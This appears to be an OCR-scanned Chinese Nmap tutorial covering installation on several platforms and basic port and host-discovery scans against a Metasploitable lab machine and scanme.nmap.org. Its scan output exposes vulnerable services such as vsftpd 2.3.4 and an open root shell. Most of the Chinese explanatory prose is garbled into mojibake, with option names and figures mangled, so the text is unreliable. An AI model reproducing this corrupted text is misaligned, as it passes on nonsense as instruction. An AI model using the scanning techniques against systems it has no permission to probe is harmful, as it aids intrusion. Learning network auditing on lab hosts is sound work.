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® Nmap /M4H
Windows | %%% Nmap
Linux/Unix J5#5%%1% %3¢ Nmap
Linux i d RPM 4K 44042 4 Nmap
Mac OS %3 Nmap
® Nmap iHik
e Nmap 414
e Nmap H#if5 e B
ARZEATENBAE)ILKERCF 6 P W] 2% Nmap, HNHZF @R, Bdas 51
BURBEATRE UL, 1EA) 2 W] LR PR % 48 %3¢ Nmap £255, LLR G fa] 187 5 Ho A8 F Nmap 45—
AN HprHsE, —A TP B, MIMIEA Nmap ZiE ALK KT,

AE IR

*1.1 F—EMFIEM

A EAEEE ez e R kil

mllmall A

Nmap [FJHL2FRE “Network Mapper”, H3Ch “MZE B8 7. Nmap & — 3K FFBIRR




FEL PR P 2 RN A 22 2 W TR, B Rt H AR R R i KA M4, SR eaiia £
IR AA . Nmap LABTHUR 77 AEAI R G 1P RSO AL 2 EATRLE AL, X EE
A Ak (VAP LZTIRAD, RFBITEHABIERS (BFRARGE R, B A
KRR JE2E/B K3, UAK—L6HAThAE . BAR Nmap & H TREHK, TFERAE
T 57 R 09 9 PR 67 P e R Al — 28 H R ) AR, Hen A AWK 1S BB B RS TR,
PAA AR EALA IR S5 32 4T

Nmap FJFEARTIRER 34>, — RN —HENREEL, HREAH ElmH, IR
HEp P 28 R 45, i AT AHERT EHLET B8R 1E RSt . Nmap o] I THR{UAPIATT A LAN, B
2 500 M LA LRI L% . Nmap & RVFH P EBIERMETy . @5, —MESRAEH ICMP )
W Ping #RAFE AT LA AR — B K AT LURARN UDP 5 TCP M, HZEENFERK
BAERSGE: G LLE T ARG Rid kB & AR X H &S, fEdt—2 o thikiE.

Nmap %t th 2 8 HAs 513K, LLEEA BN RGE R, 2T 2L s BN T o
i H 3T . Open (TR EARA HARHLAS N AR e 1EAE 23m W % 4#%/4R 3 . Filtered
(BT IEH)) ERE D K hE, U828 HoAth M 2k BEAS FELE T 20 4k U7 i), Nmap JoiEfE50
"B A& Open (FFILH)) M JE Closed (<MIR). Closed (P i O b &AM HFEF AT,
{5 A& B AT TBE B AT BEFF TR

Nmap—Secript ZIHEHIMEH « 7 Nmap ) %3¢ H 5% ) share/nmap/scripts 1, B&A ZME
SFH) ARG, X LA T LA B b e 12 B IR

EE) windows 323 Nmap

Nmap 7] LLZE1TEFTA #) Windows NT fRAH, .45 Windows 2000, Windows XP ., Windows
2003. Windows Vista, Windows 7 %,

LE 2% FT FF P hE “http:/nmap.org/download.html”, #£ Microsoft Windows binaries "%
¥ T

TR R JE R 2 g SO BN AT 22

B 1.1 Frs, BEE Nmap VPRI X, st “1Agree” @17 F—H %%,

ki 1.2 iR, SRR ECENARE, MRAFERFLAM T LIk, —REA
ZRTHAMN, WELTLIRE AT “Next” AT F—H %%,



(3 Nmap Setup

1.2 Windows T%% Nmap

E=SE X ]

License Agreement
Please review the license terms before instaling Nmap.

Press Page Down to see the rest of the agreement,

-
ICOPYING -- Desaribes the terms under which Nmap is distrbuted. A copy of the GNU (3
GPL Is appended to this file. -

[IMPORTANT NMAP LICENSE TERMS

| The Nmap Security Scanner is (C) 1996-2013 Insecure.Com LLC. Nmap is also a

registered trademark of Insecure.Com LLC. This program is free software; you may
redistribute and/or modify it under the terms of the GNU General Public License as
ipublished by the Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF
|THE CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your -

1f you accept the terms of the agreement, dick I Agree to continue. You must accept the
agreement to install Nmap.

S ol

Choose which features of Nmap you want to install.

install. Click Next to continue.

Select components to install: |

Check the components you want to install and uncheck the components you don't want to

®

AE 1.1 Nmap FEMY

AE 1.2 Nmap EEE

iE 1.3 fs, GE#F Nmap ettt —MBARFFERARIAT.

Wi 1.4 fr7~, Nmap [EAEZHEH .

(i Nmap Setup L | (i Nmap Setup
Choose the folder in which to install Nmap. (@j Please wait while Nmap is being instalied. @
Setup will install Nmap in the following folder. To install in a different folder, dlick Browse and Extract: iconLico
select another folder, Click Install to start the installation. * = === — a
Destination Folder
C:\Program Files (x86) \Nmap Browse...
Space required: 70.9MB
Space avaiable: 60,568
[ <Back [ mstal | [ canca | < Eack Next > Coneed

AB 1.3 Nmap LR AE 1.4 Nmap &%

ik 1.5 Fin, 76 Nmap Z3d 2o B i HE, ) ) RELe A A vra Bhill, 1E4R “1
Agrree” AT %S

& 1.6 fias, & “Next” HET T %%k,

WE 1.7 iR, EFREHFEEIED, S “Next” #TF—5.

1k 1.8 fizs, s “Finish” SERCREE .

A 1.9 Frs BXEHE TR E B REE 750, XERIFBUA, Al “Next” BT~
2HE

W 1.10 B, A “Finish” 5ERLRSE.
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W WinPcap (Nmap) 4.1.3 Setup

WinPcap (Nmap) 4.1.3 Setup
License Agreemer o
Please review the license terms before installing WinPcap (Nmap) 4. 1.3, 6‘9

Press Page Down to see the rest of the agreement.

Copyright {c) 1939 - 2005 NetGroup, Politecnico di Torino (Ttaly). -
ICopyright () 2005 - 2010 CACE Technologies, Davis (California). Il
Copyright (c) 2010 - 2013 Riverbed Technology, San Frandsco (California).
(All rights reserved,

Redistribution and use in source and binary forms, with or without modifications, are
permitted provided that the following conditions are met:

1, Redistributions of source code must retain the above copyright notice, this list of
2. Redistributions in binary form must reproduce the above copyright notice, this listof — ~

If you accept the terms of the agreement, click I Agree to continue. You must accept the
agreement to install WinPcap (Mmap} 4.1.3.

L0 e e - O L S e

(iagee ] [ conl ]

Installation Complete
Setup was completed successfully.

AE 1.5 Nmap BT

J WinPcap (Nmap) 4.1.3 Setup

AE 16 Nmap &%

141 WinPcap (Nmap) 4.1.3 Setup

WinPcap Options

[#]start the WinPcap service NPF now
v ice NPE. at startun {res

e

Mitisets Trsbal

Finished
Thark you for installing WinPcap

WinPcap has been installed on your computer.

Click Finish to dose this wizard.

AE 1.7

i S

AE 1.8 Nmap ZETM

13 WinPcap (Nmap) 4.1.3 Setup

Create Shortcuts

A L Sl BTN ]

Finished -
Thank you for installing WinPcap g

WinPcap has been installed on your computer,

Click Finish ta close this wizard,

Nmap BIZRET A

A& 1.10 Nmap ZE5mk




1.3 Linux/Unix JERS 4% % % Nmap

RE uinuw/unix i5#341% %235 Nmap

7E Linux/Unix 34187 LAAR J5 {8 hif oL YR AL 4 1% 2235 Nmap, B 5G7E “http:/nmap.org/
download.html” FIEREIRISIEAT N4 TNEGCRE)E B M L B8 .

root@ubuntu: /home# bzip2 -cd nmap-6.46.tar.bz2 | tar xvf -
nmap-6.46/zenmap/zenmapCore/I18N.py
nmap-6.46/zenmap/zenmapCore/Version.py
nmap-6.46/zenmap/zenmapCore/Paths.py
nmap-6.46/zenmap/COPYING HIGWIDGETS

root@ubuntu: /home#

P)# %] Nmap H X179 7%

root@ubuntu: /home# cd nmap-6.46
root@ubuntu: /home/nmap-6.46# ./configure

BB

checking whether we are using the GNU C++ compiler... no
checking whether g++ accepts -g... no

no

configure: creating ./config.status
config.status: creating Makefile
config.status: WARNING: 'Makefile.in' seems to ignore the --datarootdir setting

config.status: creating config.h

\Temrnety
} 6 6 ¢
==, ¥ ,==
RO
o \ ) Ncat: A modern interpretation of classic Netcat
)= )/
W W /
/ Ncat \_/
( N
\_.=l___E
Configuration complete.
C) /N (
NN N )
AR D A « _ /N
(_° \+ x .\ WEON | eeeeee——— / (o) N
= \+ (0 \_
(__ #2 y ( 2lyE s \ L
( . .1 <= <= = VVWVVV VWV V\ \/

fof A= = ] A = (-—_AAARAAA_ A / |
( \ //_ \




s x /0! ¢ / T \ /
A + | A
v/ / \/

/ \
NMAP IS A POWERFUL TOOL -- USE CAREFULLY AND RESPONSIBLY

Configuration complete.
root@ubuntu: /home/nmap-6.46# make

Type make

root@ubuntu: /home/nmap-6.46# make install

P 5 UG AT LA Nmap 2E4772& 0

(or gmake on some *BSD machines)

to compile.

m Linux i&id RPM %44 61 %24 Nmap

7E http://nmap.org/download.html UITf] F#% RPM %346, #F — F RPM 3t 234,

root@ubuntu:~# cd /home/
root@ubuntu: /home# 1ls

apache nmap-6.46-1.1386.rpm

root@ubuntu: /home# rpm -ivh nmap-6.46-1.1i386.rpm

| Mac 0S 223 Nmap

11 http:/nmap.org/download.html U F % Mac OS iRASI DMG S, F#5E
s gk TN
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B 1.11 7=k Nmap (K444 5,
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mﬂ{!)ﬁ"Nmap 6. 46“§E§E

Nmap isa !ree and up&n SOUrCe unmy for network expioration and
seourity auditing. Zenmap is a multi-platform graphical frontend and
results viewsr for Nmap. Ncat is a general-purpose network sending and

receiving utility, a reimplementation of Netcat, Ndiff is a an Nmap scan
comparison utifity. Nping is a toof for packet generation and sending.

| This package contains Nmap, Zenmap, Neat, Ndiff, and Nping. It is
' intended to wotk on intel Macs running Mac OS X 10.8 or later.

| inetaliation of ail packages is optional. Unselect Zenmap to get just the
| commang-iine tool. Unselect Nmap if you prefer to use a copy of Nmap
| that s already installed. Zeomap will not work without Nmap.

| The nmap, ncat, ndiff, and nping command-fine binaries will be instatied
| infustllocalbin, and additional suppont files will be instailed in fustiocal/

4| share. The Zenmap appilcation bundle will be installed in /Applications/
| Zenmap.app.
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COPYING -- Describes the terms un(m wnbn Nmao is distributed. A
copy of the GNU GPL is appended 10

| IMPORTANT NMAP LICENSE TERMS |

| ThaNmap Security Scanner is (C) 1996-2012 insecure.Com LLC. |

Nmap is also a registered trademark of Insecure.Com LLC, This

agram Is free software; you may redistribute anc/or modify it under

the terms of the GNU General Public License as published by the Free

Software Fmabon Version 2 with the clarifications and exceptions
below. This guarantees your right to use, modify, and

| mmmmmmsoﬂwsmumermm conditions. If you wish 10

| embed Nmap nto software, we sell i

ficenses {contact sales@insecure.com). Dozens of software vendors

already ficense Nmap technology such as host discovery, port

scanning, OS detection, version detection, and the Nmap Scripting

| Engine.

| Note that the GPL places imporiant restrictions on "derived works”, yet |
| it does not mrovice a detailed definition of that term, Toavoid . |
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1.5 Mac OS %% Nmap

e 1.14 PR, EFEETHERAL, £ B T RFFEGAR AT,

» K Niman 6,46 F = @ SR Nmap 646"

m IOD"J:!EI!&!

ERERRNNS. TLARNBRATT RPN,

REAR REFER ol  Nmap £33 21.1MB
 Zenmap % 31M8

oWy  Neat %% 938 K8

o BRRE 4 A Ndiff Ty 131 KB

W Nping = 2.6 MB

[#mg || _mg | |  amap-update “% 37KkB
o g |
jram s free software; you may redistribute and/or modity it under |
| the of the GNU General Public License np\mbymﬁae |
ware Foundation; Version 2 with and exceptions |
b yout right to use, modify, and b
conditions. Hf you wish 1o
into. 3 :
‘embed m' mdv-.lm I‘B!I%&\ ey

| Note that the GPL places important restrictions on "derived works”, yet
It does not orovide a deladec defingion of thal ierm. To avod

ae. [ #m. = mR [ =& ||

AE 1.13  Nmap o M AE 1.14 Nmap A%

Wk 115 s, A 7R 43 2R Nmap, sy “ 237,
W 1.16 P, 20T R e .

W B Nmap 6467 e e W Nmap £.46°
#“Macintosh HD" LT R R £RATh.

RS FKEMR L8 55.7 MB 2.
AR R UEEE "Macintosh HD" ERITELRM A1
ARE.

RERI-

KAZER.

B 115 AL RKRE AE 116 Nmap ZEZTH

Wik 1.17 fro, AE Shell 254 A Nmap #iy4 7] LU ID T 7 Nmap F# . £ IEAE Mac
OS T3t O 5e k.

2 apple — bash — 80w 24 %
Last login: Sun Jun § 13:18:28 on console
appledeMacBook-ALir:s apples I-a
Nmap 6.46 | hutp://nsap.ory
Usage: neap [Scan Typelsi] maum;] {target specification}
TARGET SPECIFICATION:
Can pass hostnomes, 1P sdgresses, networks, eic.
Ex: scanme.nmap.org, =icrosoft.cos/24, 192.168.9.1; 10.9.8-255.1-254
-iL <inputfilename>: Input fros List of hosts/networks
~iR <nus hosts>: Choose randos targets
—exclude <hostil,host2]|,host3],...>: Exclude hosts/networks
—excludetile <exclude_files: Excluge list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
—sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online — skip host discovery
-PS/PA/PU/PY [portlist]: TCP SYNZACK, UDP or SCTP discovery to given ports
~PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
~PO{protocol list): IP Protocol Ping
-n/=R: Never do DNS resolution/Always resolve [default: sometimes]
—dns-servers <servif,serv2],...>: Specify custom ONS servers
—system-dns: Use 0S's ONS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
~55/5T/sA/sw/sM: TCP SYN/Connect{)/ACK/Window/Maimon scans

A& 1.17 Nmap 7E MAC 0S ™/
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£1% Nmap £ —

L | Mac OS EAHRIAA VLR AR, 5 B RS il
(pp )| et smm s < LR G F RIS h “Ef

= Sk, BIAT [ R 2 = Ak

Tl Nmap T /xR

Nmap 1 H TCP/IP 3% 5 SCAE it A0 W B A ENLHERAE RG2KAY, Nmap TAERE a0
# 1.2 ioRe

=12 Nmap TCP/IP #8L#% 364X
o A
Tl K3% TCP ¥4l (Flag=SYN) Z|JF{ TCP %
jv) Hi% A28 TCP 4 2 IF i iy TCP 3 1
T3 K i% TCP #i4lE4s (Flag=SYN,URG,PSH,FIN) E|FFJ{¥] TCP i I
T4 K% TCP #ifif (Flag=ACK) F|TT & TCP i I
TS K% TCP ¥idfifl (Flag=SYN) FICHf) TCP %7 1
T6 k1% TCP it (Flag=ACK) F|JT/& (¥ TCP i 1
T7 K i% TCP ¥4l (Flag=URG,PSH,FIN) |5 [41f] TCP ¥ 1

ik 1.2 fiin, Nmap XF H bR EHEAT— RSV, AR S5 R A7 H A5 =L
Nmap 540, $RJ5 Nmap X FREGHATUCAL, 5 2450 AN R 45 5L

Nmap &%

FATIHEAE ] Nmap IR K Z 2 fEdr 247 FUEATH, RIE2 A nT AL Zenmap )2 i %
A Nmap 852 1 1E724% U1 . Nmap fRI[ 2 2% 0 T
Nmap [Z4% 1 i) 2 38 5 o] C2 1 [ H 451
Horpr, WEI5 2RI (W2 FIAE R AT 20 B0, n RAGLSERE TN RG 25 2 Se e i, 84
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| PRI o LU RIS MR A AT A B 0, AT T S B
'-(L’;)\. EET RS E], W1p80, -p BT, 80 R5%. KT Nmap HIEE

= IiE, FERAEL AR AT 0.

13 AN R IR

-A LHBPH/LSREAMH

Nmap £HEAMKEIR-A, EFULEEAMIEE P BU84 WA KA XKL BERRERE
B, X EIE N R N 5845 Nmap fI434.

root@Wing:~# nmap -A 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 15:43 CST
Nmap scan report for 192.168.126.131

Host is up (0.00040s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4  #FTPIREH R vsftpd, RER 2.3.4

| ftp-anon: Anonymous FTP login allowed (FTP code 230) #AFEZER

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0) #SSH #tN & & OpenSSH
IRER 4.7

| ssh-hostkey: 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) #F44A

|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:£3 (RSA)

23/tcp open telnet Linux telnetd #Telnet R

25/tcp open smtp Postfix smtpd #smtp BRE

| smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN,
STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0COSA/
stateOrProvinceName=There is no such thing outside US/countryName=XX

| Not valid before: 2010-03-17T14:07:45+00:00

|_Not valid after: 2010-04-16T14:07:45+00:00

| _ssl-date: 2014-06-10T10:00:54+00:00; -1d21h42m30s from local time.

53/tcp open domain ISC BIND 9.4.2 #DNs RS ¥w O

| dns-nsid:

| _ bind.version: 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) #HTTP IR

| _http-methods: No Allow or Public header in OPTIONS response (status code 200)

| _http-title: Metasploitable2 - Linux
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Z Nmap &%

111/tcp open rpcbind 2 (RPC #100000) #RPC RS

| rpcinfo: #RPC [REFEWE R

| program version port/proto service

| 100000 2 111/tcp rpcbind

| 100000 2 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 40529/tcp mountd

| 100005 1,2,3 43983 /udp mountd

| 100021 1,3,4 41255/tcp nlockmgr

| 100021 1,3,4 55723/udp nlockmgr

| 100024 1 35526/tcp status

|_ 100024 1 50609/udp status

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) #Samba hRZAA 5.X
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) #Samba fRZ&AN 5.X
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open tcpwrapped

1099/tcp open rmiregistry GNU Classpath grmiregistry

| _rmi-dumpregistry: Registry listing failed (No return data received from server)
1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.5la-3ubuntu5

| mysql-info: Protocol: 10

| Version: 5.0.5la-3ubuntub

| Thread ID: 21

| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
| Status: Autocommit

|_Salt: fRHP:0B9:Tvy|$:6Q@}uU

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc

| vnc-in

oz

| Protocol version: 3.3

| Security types:

VNC (protocol 3.3)

| Unknown security type (33554432)

6000/tcp open X11

6667/tcp
| ire-in

servers:
version:

open
fo:

servers: 1

users: 1

lusers: 1

uptime:

0

(access denied)

irc Unreal ircd

0 days, 23:24:39

irc.Metasploitable.LAN

Unreal3.2.8.1. irc.Metasploitable.LAN

source host: A5B014C0.D9689365.FFFA6D49.1IP
source ident: nmap

8009/tcp open ajpl3

|
|
\
|
| lservers:
|
|
I
|

Apache Jserv (Protocol vl.3)

| _ajp-methods: Failed to get a valid response for the OPTION request



8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-favicon: Apache Tomcat

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Apache Tomcat/5.5

MAC Address: 00:0C:29:E0:2E:76 (VMware) #BFREN Mac Hudb
Device type: general purpose S AR

Running: Linux 2.6.X $BFREVBRERS

OS CPE: cpe:/o:linux:linux kernel:2.6 #ERREVD RS T
0S details: Linux 2.6.9 - 2.6.33 #BARENFD TR
Network Distance: 1 hop #OILEEE RS

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs:
Unix, Linux; CPE: cpe:/o:linux:linux kernel

Host script results:
nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>

|

| smb-os-discovery: #SMB RG AT

| 0S: Unix (Samba 3.0.20-Debian) #B{EFE G A Unix, Samba iRZAN 2.0.20
| NetBIOS computer name: #NetBIOS it EHLBR

| Workgroup: WORKGROUP #FRFE LR

|_ System time: 2015-06-10T06:00:51-04:00 #RGeEE

TRACEROUTE

HOP RTT ADDRESS

1 0.41 ms 192.168.126.131

0S and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 26.21 seconds

root@Wing:~#

SR ARG G, 2 Foe A B A BT

19 EEET 3

f£ Nmap AT LUFEESFTH— C B, XADDREAT ZHARBOMIET, R 2 H
“r TR
root@Wing:~# nmap 192.168.126.1-200

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 15:45 CST
Nmap scan report for 192.168,126.1

Host is up (0.00039s latency).

All 1000 scanned ports on 192.168.126.1 are filtered

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.126.2

11



#£1%E Nmap BitiF

Host is up (0.00053s latency).
All 1000 scanned ports on 192.168.126.2 are closed
MAC Address: 00:50:56:F1:06:20 (VMware)

Nmap scan report for 192.168.126.131
Host is up (0.00039s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap scan report for 192.168.126.130
Host is up (0.0000040s latency).
All 1000 scanned ports on 192.168.126.130 are closed

Nmap done: 200 IP addresses (4 hosts up) scanned in 5.71 seconds
root@Wing:~#

12



45255 Nmap EHLEH

AEFNR S

LY R NS E S E ]

o f{{f] Zenmap AT+

® Ping 4

® JC Ping #14f

e TCP SYN Ping 14

® TCP ACK Ping 14

e UDP Ping #14

® ICMP Ping Types +14ii

® ARP Ping 14

o FFIE

o AE 1L R )k A4 @b

o Sl 4 i

o (i RAIR AT 4%

o {fii— IPve Hhil

o b PR ER

ARFATHANZ Nmap FIEEARE, BLAIAE Nmap [ F& Zenmap. AF 15 UFEIH
JUAN A 7 & Nmap $# AL, BAT T b4 SE Ak 1) 27 21 ok 550 22 58 M % J8 Nmap $13
Hh.



#2% Nmap THEM

KEFED

* 2.1 iR AARZETTFT T Nmap @523, Wy HiH 2.

F 21 AERHIER
it m L

-sP Ping 94
-P0O JC Ping 4
-PS TCP SYN Ping $1#
_PA TCP ACK Ping $14#
-PU UDP Ping 14
-PE;-PP;-PM ICMP Ping Types 14
-PR ARP Ping 7
-n 2% 11- DNS JZ [ #7
R S [0 fif AT 1k 44
--system-dns 141 1 R Ge 3l 42 i A 2%
-sL HI A H
-6 F134 1Pv6 Hihl
--traceroute % b ERER
-PY SCTP INIT Ping $4

21 B TTE

377 KT A X TP s S AT 4, R SORaE, ) AR DT (R H Ak
MITFIBUG DL ENAELR TG DL, BATER — D EEA SR T

root@Wing:~# nmap 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-09 18:36 CST
Nmap scan report for 192.168.126.131

Host is up (0.00035s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain



80/tcp

111/tep
139/tcp
445/tcp
512/tcp
Sl Eep
514/tcp
1099/tcp
1524/tcp
2049/tcp
2121 /tep
3306/tcp
5432 /tcp
5900/tcp
6000/tcp
6667/tcp
8009/tcp
8180/tcp

Nmap done:

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

MAC Address:

1 IP address
root@Wing:~#

http
rpcbind
netbiocs-ssn
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
mysql
postgresql
vnc

X11

irc

ajpl3
unknown

00:0C:29:E0:2E:76

2.2 {#H Zenmap #7HHE

(1 host up) scanned in 0.25 seconds

MEL AR S5 R ] UR AR 5 R IRFT IR Copen) i H, 7R3 S FA T AT DURIIAH 5%

RIIR ST 4 A%, JR IR E T2 N4

m {5 Al lenmap {71344

Zenmap J& %414 T H Nmap f)— N IEER T fm, & & MR,
ATAERIAF AL, RN A R B SR TR e v S R BAE bk, EAT
HRIEAT o AT LRGN T H# S Nmap A B A T4 R AEW WA LME TS5 25

AAAE AR T AR PR, DA L5 1

2.1 7l Zenmap 1217 541, W LLAE Linux 8% Mac OS R &5 HFT I I .
Wk 2.2 fros, 7f Command AM4E A Nmap 774, @WI[AITE Shell 23 FHIAFAE K4 . 4

S5 ZI ] LAAE T 5 X k(e g 4 45 2R

&l 2.3 i, 78 Zenmap ] Ports/Hosts 1ETUARZE AT LU 2 780 B PE4A 15 10 - Zenmap

IR T 10 % I (RO B R, T 2

VR .
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e

08 4 Host ~
W 192168126131 |

H

Scan Tools Profile
Target:

Command:  nmap -T4 -A v

0s 4 Host »

Intense scan

Sean Tools Erolle Help

Target: |192.168.126.131

Tasl: Pt

Command: |nmap 192.168.126.131

nmap 192.168.126.131

Starting Nmap 6.46 ( http://nwap.org ) at 2014-86-09 18:44
L ]

Nmap scan report for 193,168.126.131
Host is up (£.90004Bs latency).
Not shown: 977 closed ports
PORT STATE SERVICE
o

S3/tco open  domain
B0/tcp  onen http
131/4cp open  rpciind |
139/60p opea  netbios-ssn

aas/tep  open  microsofteds

S12/tcp  open  exec

S13/tcp open legin |
Sla/tep open  shell

rmiregistry !
ingresiock !
nfs !
ceproxny- g !
wysql

postgresql

ueie |
X1t
e

n aipld
f open  unkioun

18310
MAC Address:_00:0C:29:E8:2€:

6 (Viware)

Nrap done: 1_IP address (1 host up) scanned in 5.35 seconds

Sean  Tools Profils

Command:

AE 2.2 Zenmap HfELER

i

08 4 Host -~
W 192168126131

Help
Target: |192168.126.131

=] profie:

nmap T4 -A -v 192,168.126.131

| Nmep Output| Ports / Hosts | Topolagy | Hest Detsils| se

A G G

)

¢ 2 @ &¢a 9808 s 8628889

21
2

tep
tep
tp
tep
tep
©p
p
tp
tep
tp
tep

wp

tep

« Port ¢ Protocol ¢ State ¢
open

open

apen
open

open

open

open

apen
open
open
open
open

open

open

open
open
open
open

apen

open

Service 4 Version
ftp

ssh

telnet

smtp
domain

hitp.

rpebind
netbios-ssn
micrasoft-ds
exec

login

shell
riregistry
ingreslock
nfs
ceproxy-fip
mysql
postgresql
vne

X11

EF Birm O FRER

% 22 PR AN T Nmap #1438, Ferh VLA AN 7
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2.3 Ping i

Fz22 ATREWS
i# W .

-sP Ping 14
PO 7t Ping 4
-PS TCP SYN Ping 4
_PA TCP ACK Ping 34
-PU UDP Ping 74
-PE;-PP;-PM ICMP Ping Types i
-PR ARP Ping £
-n %11 DNS & [l fi#f7
R S 1] ff AT 18 4
--system-dns i R A R bT 48
-sL B 241 4
6 14l 1Pve Hihk
--traceroute 4% Hh R R
-PY SCTP INIT Ping F14

£ Nmap F#0t TR Z AT, KAy Ping 33775, Ping 94 HBE1T Ping, RJ)5
BN AR L. FHN K2 A -sP LT ] LAR J7 f# 3 5 A Ping 594, A ZIE T
A%, Nmap {CEAT Ping $93, 85 A1 H B ma N K 0L, (6 A B A vT LA 5 M 3R ER
HArE B AR S K. EEARTEDL T, Nmap <K& ICMP [ 1K —~ TCP
WICEN H b O o Ping AL AU AR IR MUK L (065 B Bont 85 R 204, JF HiX 2 —Fb
E IS GE SE W
root@Wing:~# nmap -sP 192.168.126.131/24

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-09 21:09 CST

Nmap scan report for 192.168.126.1 $YFHEENENR 192.168.126.1
Host is up (0.0011ls latency). HRE LR ENREEN

MAC Address: 00:50:56:C0:00:08 (VMware) #iZFE418 MAC H#idit4 00:50:56:C0:00:08
Nmap scan report for 192.168.126.2
Host is up (0.00029s latency).

MAC Address: 00:50:56:F1:06:20 (VMware)
Nmap scan report for 192.168.126.131
Host is up (0.00018s latency).

MAC Address: 00:0C:29:E0:2E:76 (VMware)
Nmap scan report for 192.168.126.254
Host is up (0.00010s latency).

MAC Address: 00:50:56:E2:56:FB (VMware)
Nmap scan report for 192.168.126.130

17
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%Q%Nmapzmgﬁm

Nmap done: 256 IP addresses (5 hosts up) scanned in 1.59 seconds

Host is up.
root@Wing: ~#

\

‘.(\’, #£4F Nmap o] LIAIH Ping FHEAT ENLABL, BlWi#E Windows ]
AP/~ cMD Tk Linux fty Shell &3 F, WLUER o4 “Ping HER” 77 X7
CLICERIVS

ETN % ping 135

R 2.3 P A ASE AT il Nmap i3, R T ay & AN 1B 6@ ——JC Ping 134 .

*23 ATESHL
% m ®m B

-sP Ping 4
-PO % Ping 33#
_PS TCP SYN Ping $34#
_PA TCP ACK Ping 14
-PU UDP Ping 4
-PE:-PP;-PM ICMP Ping Types $74
_PR ARP Ping $14#
i 2511 DNS J [ f# 41
R IS T AT 48R 44
--system-dns {5 R G 42 f T 2
-sL LIPEEE
-6 FI45 Pv6 it
--traceroute B PR
-PY SCTP INIT Ping 34

76 Ping $4l38 5 H B k825 1L Ping RIS OL T, B RER Z IEFEBATHINLES . BRSO T,
Nmap R IEAEBAT ) LN LEAT R 58 SRR, s D38 . ARAS RN sl 2R 4 R gkl .
-PO ZE 1 ENUA IS AE Nmap X &F—AME5E K H bR 1P HuhkBEAT BT &R B4 4, IX 0T LLF# Bk



24 % Ping 3##
B, LT CA AT A R, TR, PO MM AN RERECE O AR TR O,

M “nmap -PO [PMY 1. #X 2] [HARY” BEATHI4

root@Wing:~# nmap -PO 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-09 19:17 CST
Nmap scan report for 192.168.126.131
Host is up (0.0044s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
root@Wing:~#

WA TR A MY, Nmap S EGAM ML 1. B 2. B 4, W0 SRAREN X 26 Pl
A2 e e H br NS S A7 T LAME A --packet-trace 1T

root@Wing:~# nmap -p0 —--packet-trace scanme.nmap.org

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-27 21:34 CST

SENT (0.4843s) ICMP [192.168.239.128 > 45.33.32.156 Echo request (type=8/code=0) id=930
